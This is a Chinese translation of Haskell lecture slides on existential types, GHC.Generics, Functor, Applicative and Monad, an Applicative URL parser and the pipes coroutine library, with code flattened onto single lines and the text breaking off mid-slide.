{-# LANGUAGE ExistentialQuantification #-} data Step s a = Done | Skip !s | Yield !a !s data Stream a = forall s. Stream (s -> Step s a) !s 
```
- 给定类型为Stream a的值，存在一个类型s，使得...
  
  但语法使用forall，而不是exists，以避免引入新关键字
- 非常安全的扩展（Control.Exception依赖于它）
不要与Rank2Types混淆，其中forall表示所有类型s：
```
data Stream a = Stream (forall s. s -> Step s a)
```

对于存在变量的上下文，就像隐藏的字典字段

data Showable = forall a. (Show a) => Showable a instance Show Showable where show (Showable a) = "Showable " ++ show a

一个Showable值既有类型为a的值，也有Show的字典

例子：动态类型

Data.Dynamic具有类型Dynamic，可以容纳任何Typeable

data Dynamic -- opaque type toDyn :: Typeable a => a -> Dynamic fromDynamic :: Typeable a => Dynamic -> Maybe a

实际实现略显复杂
- 使用unsafeCoerce将所有内容强制转换为占位符Obj类型

但是使用ExistentialQuantification可以安全地实现：

data Dynamic = forall a. Typeable a => Dynamic a toDyn :: Typeable a => a -> Dynamic toDyn = Dynamic fromDynamic :: Typeable a => Dynamic -> Maybe a fromDynamic (Dynamic a) = cast a

例子：可扩展异常[Marlow]

GHC 运行时实现了原始的、不安全的异常
```
raise# :: a -> b catch# :: IO a -> (b -> IO a) -> IO a -- slight simplification
```
- 必须确保，如所使用，b始终是相同类型，否则会得到不安全的强制转换
实际上，希望有许多异常类型，组织成一个层次结构

Control.Exception 实现安全的、分层的异常

raise# 和 catch# 只会被一个类型调用：SomeException

class (Typeable e, Show e) => Exception e where  toException :: e -> SomeException toException = SomeException -- default impl  fromException :: SomeException -> Maybe e fromException (SomeException e) = cast e -- default impl data SomeException = forall e. Exception e => SomeException e deriving Typeable -- note use of ExistentialQuantification instance Show SomeException where show (SomeException e) = show e

抛出和捕获异常

class (Typeable e, Show e) => Exception e where  toException :: e -> SomeException  fromException :: SomeException -> Maybe e

要抛出异常，首先将其转换为类型 SomeException

throw :: Exception e => e -> a throw e = raise# (toException e)

要捕获异常，必须确保它与所需类型匹配

-- Define catchX because catch#'s real type more complicated catchX :: IO a -> (b -> IO a) -> IO a catchX (IO a) handler = IO $ catch# a (unIO . handler) catch :: (Exception e) => IO a -> (e -> IO a) -> IO a catch action handler = catchX action handler' where handler' se = maybe (throwIO se) handler $ fromException se

注意 handler 使 fromException se 使用 e 的 Exception 字典

制作分层异常

很容易添加自己的顶级异常类型

data MyException = MyException deriving (Show, Typeable) instance Exception MyException -- use default methods

但你也可以创建一系列异常类型的层次结构

data AppError = forall e. Exception e => AppError e deriving (Typeable) instance Show AppError where show (AppError e) = show e instance Exception AppError data Error1 = Error1 deriving (Show, Typeable) instance Exception Error1 where toException = toException . AppError fromException se = do -- using Maybe as a Monad here AppError e <- fromException se cast e -- Now can do the same for Error2, and catch both as AppError

让你只捕获 Error1，或任何 AppError

`Data` 类

class Typeable a => Data a where ...

Data 类允许对数据结构进行通用遍历和构造

定义 gfoldl 和 gunfold 方法如下

data T a b = C1 a b | C2 deriving (Typeable, Data) gfoldl k z (C1 a b) = z C1 `k` a `k` b gfoldl k z C2 = z C2 toConstr (C1 _ _) = ... -- encodes constructor number toConstr C2 = ... gunfold k z c = case constrIndex c of 1 -> k (k (z C1)) 2 -> z C2

现在可以处理所有大小的元组了！但是：
- 一旦引入类型，事情变得更加丑陋 [cosmetic]
- 可用的唯一字典是 Data 和 Typeable [fundamental]
- 所有的运行时类型检查都很慢 [fundamental]

我们能在编译时做吗？

替代方案：将通用编程推到编译时 [Magalhães]
让我们看一个简化的实现
- wget cs240h.stanford.edu/metadata.hs

高层次思想：假设你自动派生了Show类似的实例：

class MyShow a where myShow :: a -> String instance MyShow MyType where myShow = genericMyShow

引入通用的MetaData类，编译器可以生成实例

class MetaData d m | d -> m, m -> d where -- not what GHC does  fromData :: d -> m  toData :: m -> d

还有一个MyShow特定的元类，是这样的吗？

class MetaMyShow a where metaMyShow :: a -> String genericMyShow :: (MetaData d m, MetaMyShow m) => d -> String genericMyShow = metaMyShow . fromData

`DefaultSignatures` 扩展

我们可以使用DefaultSignatures 扩展做得更好
允许不适用于所有实例的默认方法

{-# LANGUAGE DefaultSignatures #-} class MyShow a where  myShow :: a -> String default myShow :: (MetaData a m, MetaMyShow m) => a -> String myShow = genericMyShow

使声明实例变得更容易

instance MyShow MyType

让我们看看如何设计这样一个MetaData类
- wget cs240h.stanford.edu/metadata.hs

`DeriveGeneric` 扩展

编译器支持单个Generic类，将任何数据类型转换为可以通用计算的Rep：

{-# LANGUAGE TypeFamilies #-} class Generic a where type Rep a :: * -> *  from :: a -> Rep a x  to :: Rep a x -> a

type Rep 使用了称为 TypeFamilies 的扩展。可以理解为：

class Generic a rep | a -> rep where  from :: a -> rep x  to :: rep x -> a

像我们简单的例子一样，除了所有的都是∗ → ∗类型
- 为什么？也许是因为你需要博士学位才能使用这个扩展？
- （据说将来会支持种类为∗ → ∗的通用类型，因此可以制作通用的Functor类似实例）

单元类型的`Rep`

{-# LANGUAGE DeriveGeneric, TypeFamilies, TypeOperators,  FlexibleInstances, FlexibleContexts, UndecidableInstances #-} import GHC.Generics data X = X -- because we are dealing with types of kind * -> * undef2 :: mi c f p -> f p undef2 _ = undefined -- A unit type has one constructor and no arguments data T1 = C1 deriving (Show, Generic)

*Main> :t from C1 from C1 :: Rep T1 x *Main> :t (undefined :: Rep T1 X) (undefined :: Rep T1 X) :: D1 Main.D1T1 (C1 Main.C1_0T1 U1) X *Main> datatypeName (from C1) "T1" *Main> moduleName (from C1) "Main" *Main> conName $ undef2 (from C1) "C1"

`GHC.Generics` 内容（第一部分）

{-# LANGUAGE TypeFamilies, KindSignatures, TypeOperators #-} -- | Unit: used for constructors without arguments data U1 p = U1 -- | Meta-information (constructor names, etc.) newtype M1 i c f p = M1 { unM1 :: f p } -- | Three flavors of meta-information for variable i data D; type D1 = M1 D -- c instance of Datatype, f is C1 (or :+:) data C; type C1 = M1 C -- c instance of Constructor, f is S1 (or :*:) data S; type S1 = M1 S -- c instance of Selector, f is U1 (or Rec0) class Datatype d where  datatypeName :: t d (f :: * -> *) a -> String  moduleName :: t d (f :: * -> *) a -> String class Constructor c where  conName :: t c (f :: * -> *) a -> String class Selector s where  selName :: t s (f :: * -> *) a -> String

带有构造函数参数的类型

data T2 = C2 { t2a :: Bool } deriving (Show, Generic) data T3 = C3 { t3a :: Bool, t3b :: Bool } deriving (Show, Generic)

*Main> :t (undefined :: Rep T2 X) (undefined :: Rep T2 X) :: D1 Main.D1T2 (C1 Main.C1_0T2 (S1 Main.S1_0_0T2 (Rec0 Bool))) X *Main> -- This was U1 for type T1 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ *Main> conName (undef2 $ from $ C2 True) "C2" *Main> selName (undef2 $ undef2 $ from $ C2 True) "t2a" *Main> :t (undefined :: Rep T3 X) (undefined :: Rep T3 X) :: D1 Main.D1T3 (C1 Main.C1_0T3 (S1 Main.S1_0_0T3 (Rec0 Bool) :*: S1 Main.S1_0_1T3 (Rec0 Bool))) X

注意选择器是我们简单示例没有的一个特性
- 让你从类型中挑选出记录名称

`GHC.Generics` 内容（第 2 部分）

-- Used to glue multiple constructor arguments together data (:*:) f g p = f p :*: g p infixr 6 :*: -- Used to represent a type with multiple constructors data (:+:) f g p = L1 { unL1 :: f p } | R1 { unR1 :: g p } infixr 5 :+: -- Used to hold actual concrete values of constructor arguments newtype K1 i c p = K1 { unK1 :: c } type Rec0 = K1 R -- From two slides ago: data U1 p = U1 -- Unit constructors (no arguments) newtype M1 i c f p = M1 { unM1 :: f p } data D; type D1 = M1 D -- c instance of Datatype, f is C1 or :+: data C; type C1 = M1 C -- c instance of Constructor, f is S1 or :*: data S; type S1 = M1 S -- c instance of Selector, f is U1 or Rec0

再次忽略参数p（这里是为了使类型的种类为∗ → ∗）
M1存在，所以一个单一的遍历方法可以跳过D1、C1和S1
可以说newtype Rec0 c p = K1 c，但有些实例使用K1 P

`Generic`实例会是什么样子？

data T a b = C1 a b | C2 deriving (Show, Generic) data T_ instance Datatype T_ where datatypeName _ = "T" moduleName _ = "Main" data T_C1_ data T_C2_ instance Constructor T_C1_ where conName _ = "C1" instance Constructor T_C2_ where conName _ = "C2" type Rep0T_ a_0 b_1 = D1 T_ (C1 T_C1_ (S1 NoSelector (Rec0 a_0) :*: S1 NoSelector (Rec0 b_1)) :+: (C1 T_C2_ U1)) instance Generic (T a_0 b_1) where type Rep (T a_0 b_1) = Rep0T_ a_0 b_1 from (C1 f0 f1) = M1 (L1 (M1 (M1 (K1 f0) :*: M1 (K1 f1)))) from (C2) = M1 (R1 (M1 U1)) to (M1 (L1 (M1 (M1 (K1 f0) :*: M1 (K1 f1))))) = C1 f0 f1 to (M1 (R1 (M1 U1))) = C2

我们如何使用这个？

假设我们正在定义自己的Show类似的类

class MyShow a where myShow :: a -> String instance MyShow [Char] where myShow = show instance MyShow Int where myShow = show

希望它能适用于所有用户定义的数据类型

让我们定义一个类Show1来处理烦人的p参数

{-# LANGUAGE FlexibleInstances, UndecidableInstances,  OverlappingInstances, TypeSynonymInstances, TypeOperators,  TypeFamilies, TemplateHaskell, FlexibleContexts #-} class MyShow1 f where myShow1 :: f p -> String

让我们定义通用的遍历方法

instance (MyShow1 f) => MyShow1 (M1 i c f) where -- for D1, S1 myShow1 m1 = myShow1 (unM1 m1) instance (MyShow1 f, MyShow1 g) => MyShow1 (f :+: g) where myShow1 (L1 a) = myShow1 a myShow1 (R1 a) = myShow1 a

`MyShow1`的非通用实例

当我们遇到一个构造函数时，想要打印出名称
```
instance (Constructor c, MyShow1 f) => MyShow1 (C1 c f) where myShow1 m1 = conName m1 ++ myShow1 (unM1 m1)
```
- 我们正在使用OverlappingInstances，因为已经有M1实例
当没有构造函数参数时，不显示任何内容
```
instance MyShow1 U1 where myShow1 _ = ""
```

当我们有多个构造函数参数时，显示它们全部

instance (MyShow1 f, MyShow1 g) => MyShow1 (f :*: g) where myShow1 (fp :*: gp) = myShow1 fp ++ myShow1 gp

当你遇到实际值时，显示它
```
instance (MyShow c) => MyShow1 (K1 i c) where myShow1 k1 = ' ' : myShow (unK1 k1)
```
- 现在我们正在调用myShow，但我们还没有为许多类型定义它

实现一个通用的`MyShow`

现在可以根据MyShow1来定义通用的MyShow

instance (Generic a, MyShow1 (Rep a)) => MyShow a where myShow a = myShow1 $ from a

我们能避免OverlappingInstances吗？

可以定义Show1的单独的D1、S1实例（简单）
可以完全避免通用实例

推荐的用法只是定义一个函数 myShowDefault，然后

myShowDefault :: (Generic a, MyShow1 (Rep a)) => a -> String myShowDefault a = myShow1 $ from a instance MyShow T1 where myShow = myShowDefault instance MyShow T2 where myShow = myShowDefault instance MyShow T3 where myShow = myShowDefault ...

仍然存在[Char]与[a]之间不同行为的问题

函子，单子，等等

在我们关于测试的讲座中，我们与谦卑的函子交谈。

class Functor f where  fmap :: (a -> b) -> f a -> f b

但我们对函子的直觉有多好？

对列表的函子

请告诉我以下内容计算什么：

fmap (+1) [1,2,3]

对列表的函子

请告诉我以下内容计算什么：

import Data.Char fmap toUpper "qwertyuiop"

对`Maybe`的函子

让我们避免与标准的Functor类发生名称冲突：

class MyFunctor f where  myfmap :: (a -> b) -> f a -> f b

请为Maybe编写一个MyFunctor实例。

你有 2 分钟。

对`Maybe`的函子

让我们避免与标准的Functor类发生名称冲突：

class MyFunctor f where  myfmap :: (a -> b) -> f a -> f b

这是一个Maybe的MyFunctor实例。

instance MyFunctor Maybe where myfmap _ Nothing = Nothing myfmap f (Just a) = Just (f a)

对单位元的函子

请向我口述一个Identity的MyFunctor实例。

newtype Identity a = Identity a

（你可以在Data.Functor.Identity中找到这种类型。）

函子的一种观点

假设我们将函子看作一个容器。

我们知道函子对容器内部的事物有什么影响？

容器本身的结构如何？

构造一个元组

你可能还没有遇到“成对”运算符：

(,) :: a -> b -> (a, b)

给定两个参数，它返回由这些参数组成的对。

对对的部分应用

由于(,)是一个运算符，我们可以用括号将其包围以将其用作函数。

ghci> :type (,) 'X' True (,) 'X' True :: (Char, Bool)

典型的 Haskell 风格，我们可以部分应用函数以产生另一个函数：

ghci> :type (,) 'X' (,) 'X' :: b -> (Char, b)

类型签名和元组

好的，我们可以在前缀位置使用(,)作为一个函数。

我们也可以将(,)写成类型构造函数。

foo :: b -> (,) Char b foo b = (,) 'X' b

这意味着完全相同的签名：

foo :: b -> (Char, b)

对元组的函子

对于对的MyFunctor实例应该是什么样子的？

instance MyFunctor ((,) a) where {- ... -}

记住，对于一个类型成为MyFunctor的实例，我们需要一个自由类型参数：

class MyFunctor f where  myfmap :: (a -> b) -> f a -> f b

按照惯例，我们选择对的第二个元素在我们的MyFunctor实例中是自由的。

myfmap应该是什么样子？

变得更奇怪

我们的函子作为容器的隐喻有多有用？

回想一下神秘的Identity类型。

newtype Identity a = Identity a

由于这是一个newtype，它没有运行时表示。

严格来说，它并不是真正的容器：

除了类型系统机制，没有什么“外部”可以“内部”。

为什么要谈论前缀运算符？

我提到(,)作为前缀运算符有一个目的。

我们可以用(->)运算符描述函数做同样的事。

foo :: (->) Char Bool foo c = isUpper c

由于我们能够为对写一个MyFunctor实例：

instance MyFunctor ((,) a) where myfmap f (a, b) = (a, f b)

我们能为函数做同样的事吗？

函数的函子

instance MyFunctor ((,) a) where myfmap f (a, b) = (a, f b)

有人想试试吗？

instance MyFunctor ((->) a) where {- ... -}

函数的函子

定义并不难想出：

instance MyFunctor ((->) a) where myfmap f g = \x -> f (g x)

但这意味着什么？

显然不是一个容器。

对 IO 的函子

我们已经在IO的上下文中涉及了函子。

readFile "/etc/passwd"

这执行一个真实世界的动作，并给我们一个String。

(length . lines) `fmap` readFile "/etc/passwd"

这执行相同的真实世界动作，并给我们...什么？

函子定律

映射恒等函数对结果没有影响。

fmap id === id

映射两个函数的组合与组合相同函数的映射是相同的。

fmap (g . h) = (fmap g) . (fmap h)

重新审视提升

编写fmap类型的标准方式可能有点晦涩：

class Functor f where  fmap :: (a -> b) -> f a -> f b

重新审视提升

Haskell 中的函数总是柯里化的，所以 fmap “实际上是”一个参数的函数，返回另一个函数。

让我们加上括号以澄清这一点。

class Functor f where  fmap :: (a -> b) -> (f a -> f b)

它将第一个参数从普通函数提升到在这个一切都被 f 遮蔽的宇宙中运行的函数。

为什么要专注于函子？

你会在 Haskell 中到处看到这些该死的东西。

除了 Monoid，Functor 是 Haskell 中最简单的抽象之一。

(->) a 是一个 Functor（但不是一个容器）是无价的：

它让我们不再使用限制性的容器为中心的隐喻来思考这些抽象。

给 `f` 一个名字

class Functor f where  fmap :: (a -> b) -> (f a -> f b)

因此容器只是一个训练轮的隐喻。

用一个名字来泛指这个 f 东西仍然是有帮助的。

我们将其称为上下文。

上下文

[] 函子：

上下文是一个列表。

(->) a 函子：

我们的上下文是一个具有类型 a 的第一个参数的函数（一个“只读环境”）。

IO 函子：

我们的上下文是可能具有真实世界影响的计算。

Applicative

这是我们在表达上的下一个阶梯。

class Functor f => Applicative f where  pure :: a -> f a  (<*>) :: f (a -> b) -> f a -> f b

pure 函数接受一个值并将其提升到我们的新上下文中。

“applicative”一词的来源

(<*>) 怎么样？

考虑它与 fmap 和 ($) 的相似之处。

(<*>) :: f (a -> b) -> f a -> f b fmap :: (a -> b) -> f a -> f b ($) :: (a -> b) -> a -> b

它们显然都有关联！

($) 是函数应用
fmap 是函数应用提升到函子
(<*>) 是函数应用提升到函子，但初始函数也被包裹在我们的上下文 f 中

这就是“applicative”这个名字的起源。

Applicative laws

就像单子和函子一样，Applicative 的实例也必须遵循一些规律。

在这种情况下，有 4 条规律。

如果你感兴趣，可以在 Typeclassopedia 上查看。

只有一个 `Applicative` 实例

class Functor f => Applicative f where  pure :: a -> f a  (<*>) :: f (a -> b) -> f a -> f b

这将让我们感受到 Applicative 类的风格。

instance Applicative Maybe where pure x = Just x

(<*>) 的实现应该是什么样的？

-- (<*>) :: f (a -> b) -> f a -> f b (<*>) :: Maybe (a -> b) -> Maybe a -> Maybe b

花 2 分钟写下你自己的。

只有一个 `Applicative` 实例

class Functor f => Applicative f where  pure :: a -> f a  (<*>) :: f (a -> b) -> f a -> f b

这将让我们感受到 Applicative 类的风格。

instance Applicative Maybe where pure x = Just x

(<*>) 的实现应该是什么样的？

(<*>) :: Maybe (a -> b) -> Maybe a -> Maybe b Just f <*> Just x = Just (f x) _ <*> _ = Nothing

进一步研究

如果你想对 Applicative 有一些很好的理解：

写出列表、Identity 和 (->) a 的实例

附加材料：

newtype MyConst a b = MyConst a

为上面的 MyConst 类型编写 Functor 和 Applicative 实例。

为什么这么麻烦？

这是一个小小的 Applicative 驱动的解析器，用于 URL 编码的字节，如 %27。

import Control.Applicative import Data.Char (chr) import Numeric (readHex) import Text.Parsec (char, hexDigit) import Text.Parsec.String (Parser) hexChar :: Parser Char hexChar = char '%' *> (combo <$> hexDigit <*> hexDigit) where combo a b = case readHex [a,b] of [(n,"")] -> chr n _ -> error "wat"

这取决于：

-- Sequence two actions, discarding the result of the first. (*>) :: Applicative f => f a -> f b -> f b -- You'll see this everywhere. (<$>) = fmap

深入探讨

让我们解析一个完整的 application/x-www-form-urlencoded 字符串。

它们看起来像这样：

name=bryan+o%27sullivan&city=san+francisco

顶层解析器：

query = pair `sepBy` char '&'

我们稍后会重新讨论 sepBy。

-- Zero or more elements, separated by a separator. sepBy :: Alternative f => f a -> f sep -> f [a]

首先，我们必须理解 Alternative。

`Alternative` 类

这个类将单子与应用函子结合起来：

class Applicative f => Alternative f where  empty :: f a  (<|>) :: f a -> f a -> f a

empty 对应于 mempty。

在解析时，把它看作“解析失败”。

(<|>) 对应于 mappend/(<>)。

在解析时，把它看作“尝试第一个解析；如果失败，尝试第二个”。

一些方便的组合子

注意

-- Zero or more elements, separated by a separator. sepBy :: Alternative f => f a -> f sep -> f [a] sepBy p sep = sepBy1 p sep <|> pure [] -- One or more elements, separated by a separator. sepBy1 :: Alternative f => f a -> f sep -> f [a] sepBy1 p sep = (:) <$> p <*> many (sep *> p) many :: Alternative f => f a -> f [a]

我们完整的解析器

这段代码非常紧凑和可读！

query = pair `sepBy` char '&' pair :: Parser (String, Maybe String) pair = (,) <$> many1 urlChar <*> optional (char '=' *> many urlChar) urlChar = oneOf urlBaseChars <|> hexChar <|> ' ' <$ char '+' hexChar :: Parser Char hexChar = char '%' *> (eval <$> hexDigit <*> hexDigit) where eval a b = case readHex [a,b] of [(n,"")] -> chr n _ -> error "wat" urlBaseChars = ['a'..'z']++['A'..'Z']++['0'..'9']++"$-_.!*'(),"

最后，进入`Monad`

每个Applicative都是一个Functor。

每个Monad都是一个Applicative。

class Monad m where  return :: a -> m a  (>>=) :: m a -> (a -> m b) -> m b

return与pure相同。

那么(>>=)（"bind"）呢？

它在我们的思维世界中的位置是什么？

一个方便的变体

有一个名为(=<<)的标准函数，它与(>>=)完全相同，但其参数顺序被翻转。

(>>=) :: Monad m => m a -> (a -> m b) -> m b (=<<) :: Monad m => (a -> m b) -> m a -> m b

我们为什么要在意呢？

让我们重新审视之前的幻灯片

还记得这个吗？

(<*>) :: Applicative f => f (a -> b) -> f a -> f b fmap :: Functor f => (a -> b) -> f a -> f b ($) :: (a -> b) -> a -> b

这些都是将函数应用于值的不同方式。

让我们重新审视之前的幻灯片

一个小的变化：添加(=<<)。

(=<<) :: Monad m => (a -> m b) -> m a -> m b (<*>) :: Applicative f => f (a -> b) -> f a -> f b fmap :: Functor f => (a -> b) -> f a -> f b ($) :: (a -> b) -> a -> b

所以，实际上，(>>=)运算符只是另一种应用运算符，但是它翻转的参数顺序使这一点变得模糊。

`Functor`和`Applicative`不能做什么

考虑带有函子和应用函子的应用场景：

(<*>) :: Applicative f => f (a -> b) -> f a -> f b fmap :: Functor f => (a -> b) -> f a -> f b

我们如何确保它们只能在容器的元素上操作？

它们的函数参数完全看不到或影响f。
因此，它们必须对容器的封闭结构（或计算上下文，或其他任何东西）毫不在意。

从`Applicative`到`Monad`

Monad的关键在于a -> m b函数可以接受一个普通的 Haskell 值，并用它来决定返回什么m b：

它能够影响容器的结构，改变上下文，启动核弹，或者其他什么。

(=<<) :: Monad m => (a -> m b) -> m a -> m b (<*>) :: Applicative f => f (a -> b) -> f a -> f b

与Applicative相比，Monad既更强大又更难理解。

这些类的现在和将来

Applicative和Functor是相关的。 Monad与其他两者无关，这是历史的偶然。

这将随着 GHC 7.10 改变。

一个有用的经验法则

总是尽量使用最不强大的抽象。

优先使用Applicative而不是Monad。

优先使用Functor而不是Applicative。

(当然，除非你不能。)

为什么？

抽象越不强大，理解其行为就越容易。
对你和你的用户来说，执行踩脚事件变得更加困难。

Pipes

Gabriel Gonzalez

2014 年 5 月 1 日 - CS240H

概述

[pipes解决的问题]
pipes如何工作
pipes背后的理论
pipes API 之旅

问题

replicateM :: Monad m => Int -> m a -> m [a] mapM :: Monad m => (a -> m b) -> [a] -> m [b] sequence :: Monad m => [m a] -> m [a]

不适用于无限列表
在所有内容被处理之前，你无法消费任何结果
即使你不需要每个结果，你也必须运行整个计算
这通过缓冲每个结果浪费内存

非解决方案：惰性 IO

仅适用于IO
仅适用于有副作用的源，不适用于有副作用的接收器或转换
通过将效果与评估顺序联系起来，使等式推理无效
承认失败（“Monad 太笨拙了”）

`pipes` - 一个协程库

import Pipes import System.IO (isEOF) stdinLn :: Producer String IO () stdinLn = do eof <- lift isEOF if eof then return () else do str <- lift getLine yield str stdinLn useString:: String -> Effect IO () useString str = lift (putStrLn str) echo :: Effect IO () echo = for stdinLn useString main :: IO () main = runEffect echo

示例

$ ./example Hello<Enter> Hello CS240H<Enter> CS240H <Ctrl-D> $

问题？

概述

pipes解决的问题
[pipes如何工作]
pipes背后的理论
pipes API 之旅

`Producer`

import Control.Monad.Trans.Class (MonadTrans(lift)) data Producer a m r = Yield a (Producer a m r) | M (m (Producer a m r)) | Return r yield :: a -> Producer a m () yield a = Yield a (Return ()) instance Monad m => Monad (Producer a m) where -- return :: Monad m => r -> Producer a m r return r = Return r -- (>>=) :: Monad m -- => Producer a m r -> (r -> Producer a m s) -> Producer a m s (Yield a p) >>= return' = Yield a (p >>= return') (M m) >>= return' = M (m >>= \p -> return (p >>= return')) (Return r) >>= return' = return' r instance MonadTrans (Producer a) where -- lift :: Monad m => m r -> Producer a m r lift m = M (liftM Return m)

`stdinLn`

stdinLn = do eof <- lift isEOF if eof then return () else do str <- lift getLine yield str stdinLn useString str = lift (putStrLn str)

stdinLn = M (isEOF >>= \eof -> return $ if eof then Return () else M (getLine >>= \str -> Yield str stdinLn ) ) useString str = M (putStrLn str >>= \r -> return (Return r))

`for`

for :: Monad m => Producer a m () -> (a -> Producer b m ()) -> Producer b m () for (Yield a p) yield' = yield' a >> for p yield' for (M m) yield' = M (m >>= \p -> return (for p yield')) for (Return r) _ = Return r

echo = for stdinLn useString echo = M (isEOF >>= \eof -> return $ if eof then Return () else M (getLine >>= \str -> M (putStrLn str >> return echo) ) )

`runEffect`

data Void -- No constructors type Effect = Producer Void runEffect :: Monad m => Effect m r -> m r runEffect (M m) = m >>= runEffect runEffect (Return r) = return r

main = runEffect echo main = isEOF >>= \eof -> if eof then return () else getLine >>= \str -> putStrLn str >> main

问题？

概述

pipes解决的问题
pipes如何工作
[pipes背后的理论]
pipes API 之旅

什么使 Haskell 独特？

设计模式受范畴论启发
理论在类型类中得到文化上的奉献：
- Monoid，Category，Applicative，Monad，...
目标：减少软件复杂性

问题

如何减少复杂性？

class Monoid m where  mappend :: m -> m -> m  mempty :: m (<>) :: Monoid m => m -> m -> m (<>) = mappend

instance Monoid Int where -- mappend :: Int -> Int -> Int mappend = (+) -- mappend :: Int mempty = 0

-- Associativity (x <> y) <> z = x <> (y <> z) -- (x + y) + z = x + (y + z) -- Identity: mempty <> x = x -- 0 + x = x x <> mempty = x -- x + 0 = x

`yield`

yield :: a -> Producer a IO ()

一个Producer，yield恰好一个元素：

yieldOne :: Monad m => Producer String m () yieldOne = yield "Hello"

一个Producer，yield多于一个元素：

yieldTwo :: Monad m => Producer String m () yieldTwo = do yield "Hello" yield "CS240H" -- yieldTwo = yield "Hello" >> yield "CS240H"

一个Producer，yield少于一个元素：

yieldZero :: Monad m => Producer String m () yieldZero = return ()

示例

>>> runEffect (for yieldOne useString) Hello >>> runEffect (for yieldTwo useString) Hello CS240H >>> runEffect (for yieldZero useString) >>> -- Nothing output

原始 vs. 派生

yieldFour :: Monad m => Producer String m () yieldFour = do yieldTwo yieldTwo -- yieldFour = yieldTwo >> yieldTwo

>>> runEffect (for yieldFour useString) Hello CS240H Hello CS240H

`(>>)`和`return ()`形成一个 Monoid

(>>) :: Producer a IO () -- (<>) :: m -> Producer a IO () -- -> m -> Producer a IO () -- -> m return () :: Producer a IO () -- mempty :: m

结合性：

(p1 >> p2) >> p3 = p1 >> (p2 >> p3) -- (x <> y) <> z = x <> (y <> z)

身份：

return () >> p = p -- mempty <> x = x p >> return () = p -- x <> mempty = x

类别概括了 Monoids

class Category cat where -- class Monoid m where  (.) :: cat b c -> cat a b -> cat a c -- mappend :: m -> m -> m  id :: cat a a -- mempty :: m (>>>) :: Category cat => cat a b -> cat b c -> cat a c (>>>) = flip (.)

instance Category (->) where -- (.) :: (b -> c) -> (a -> b) -> (a -> c) (g . f) x = g (f x) -- id :: (a -> a) id x = x

-- Associativity (f . g) . h = f . (g . h) -- (x <> y) <> z = x <> (y <> z) -- Identity id . f = f -- mempty <> x = x f . id = f -- x <> mempty = x

`(>=>)`和`return`形成一个 Category

(>=>) :: Monad m => (a -> Producer o m b) -- (>>>) :: cat a b -> (b -> Producer o m c) -- -> cat b c -> (a -> Producer o m c) -- -> cat a c (f >=> g) x = f x >>= g return :: Monad m => (a -> Producer o m a) -- id :: cat a a

结合性：

(f >=> g) >=> h = f >=> (g >=> h) -- (f >>> g) >>> h = f >>> (g >>> h)

身份：

return >=> f = f -- id >>> f = f f >=> return = f -- f >>> id = f

Monad 定律

结合性：

(f >=> g) >=> h = f >=> (g >=> h) (m >>= g) >>= h = m >>= \x -> g x >>= h

左身份：

return >=> f = f return x >>= f = f

f >=> return = f m >>= return = m

`(~>)`和`yield`形成一个 Category

(~>) :: (a -> Producer b IO ()) -- (>>>) :: cat a b -> (b -> Producer c IO ()) -- -> cat b c -> (a -> Producer c IO ()) -- -> cat a c (f ~> g) x = for (f x) g yield :: (a -> Producer a IO ()) -- id :: cat a a

结合性：

(f ~> g) ~> h = f ~> (g ~> h) -- (f >>> g) >>> h = f >>> (g >>> h)

身份：

yield ~> f = f -- id >>> f = f f ~> yield = f -- f >>> id = f

`for`循环定律 - 第 1 部分

yield ~> f = f for (yield x) f = f x

>>> runEffect (for (yield "Hello") useString) Hello >>> runEffect (useString "Hello") Hello >>>

f ~> yield = f for m yield = m

>>> let yieldTwo' = for yieldTwo yield >>> runEffect (for yieldTwo' useString) Hello CS240H >>> runEffect (for yieldTwo useString) Hello CS240H >>>

`for`循环定律 - 第 2 部分

(f ~> g) ~> h = f ~> (g ~> h) for (for p g) h = for p (\x -> for (g x) h)

stdinLn :: Producer String IO () -- Same as before twice :: Monad m => a -> Producer a m () twice a = do yield a yield a useString :: String -> Effect IO () -- Same as before

echoTwice :: Effect IO () echoTwice = for (for stdinLn twice) useString echoTwice' :: Effect IO () echoTwice' = for stdinLn $ \str1 -> for (twice str1) useString

示例

>>> runEffect echoTwice Hello<Enter> Hello Hello CS240H<Enter> CS240H CS240H ... >>> runEffect echoTwice' Hello<Enter> Hello Hello CS240H<Enter> CS240H CS240H ...

减少协程的复杂性

import Pipes import System.IO (isEOF) stdinLn :: Producer String IO () stdinLn = do eof <- lift isEOF if eof then return () else do str <- lift getLine yield str stdinLn useString:: String -> Effect IO () useString str = lift (putStrLn str) echo :: Effect IO () echo = for stdinLn useString main :: IO () main = runEffect echo

问题？

概述

pipes解决的问题
pipes如何工作
pipes背后的理论
[pipes API 之旅]

`Consumer`

随时间变化的接收器

import Pipes import Pipes.Prelude (stdinLn) numbered :: Int -> Consumer String IO r numbered n = do str <- await let str' = show n ++ ": " ++ str lift (putStrLn str') numbered (n + 1) giveString :: Effect IO String giveString = lift getLine nl :: Effect IO () nl = giveString >~ numbered 0 main :: IO () main = runEffect nl

示例

>>> main Hello<Enter> 0: Hello CS240H<Enter> 1: CS240H ...

`Consumer`

data Consumer a m r = Await (a -> Consumer a m r ) | M (m (Consumer a m r)) | Return r await :: Consumer a m a await = Await (\a -> Return a)

`await`

await :: Consumer a IO a

一个Consumer，await多于一个元素：

awaitTwo :: Monad m => Consumer String m String awaitTwo = do str1 <- await str2 <- await return (str1 ++ " " ++ str2)

一个Consumer，await零个元素：

awaitZero :: Monad m => Consumer String m String awaitZero = return "Some string"

示例

>>> runEffect (giveString >~ awaitOne) Hello<Enter> Hello >>> runEffect (giveString >~ awaitTwo) Hello<Enter> CS240H<Enter> Hello CS240H >>> runEffect (giveString >~ awaitZero) Some string

原始 vs. 派生

awaitFour :: Monad m => Consumer String m String awaitFour = do str1 <- awaitTwo str2 <- awaitTwo return (str1 ++ " " ++ str2)

>>> runEffect (giveString >~ awaitFour) Hello<Enter> CS240H<Enter> You're<Enter> welcome!<Enter> Hello CS240H You're welcome!

`(>~)`

(>~) :: Monad m => Consumer a m b -- (>>>) :: cat a b -> Consumer b m c -- -> cat b c -> Consumer a m c -- -> cat a c

>>> runEffect (giveString >~ awaitTwo >~ numbered) Hello<Enter> CS240H<Enter> 0: Hello CS240H You're<Enter> welcome!<Enter> 1: You're welcome! ...

`(>~)`和`await`形成一个 Category

(>~) :: Consumer a IO b -- (>>>) :: cat a b -> Consumer b IO c -- -> cat b c -> Consumer a IO c -- -> cat a c await :: Consumer a IO a -- id :: cat a a

结合性：

(f >~ g) >~ h = f >~ (g >~ h) -- (f >>> g) >>> h = f >>> (g >>> h)

身份：

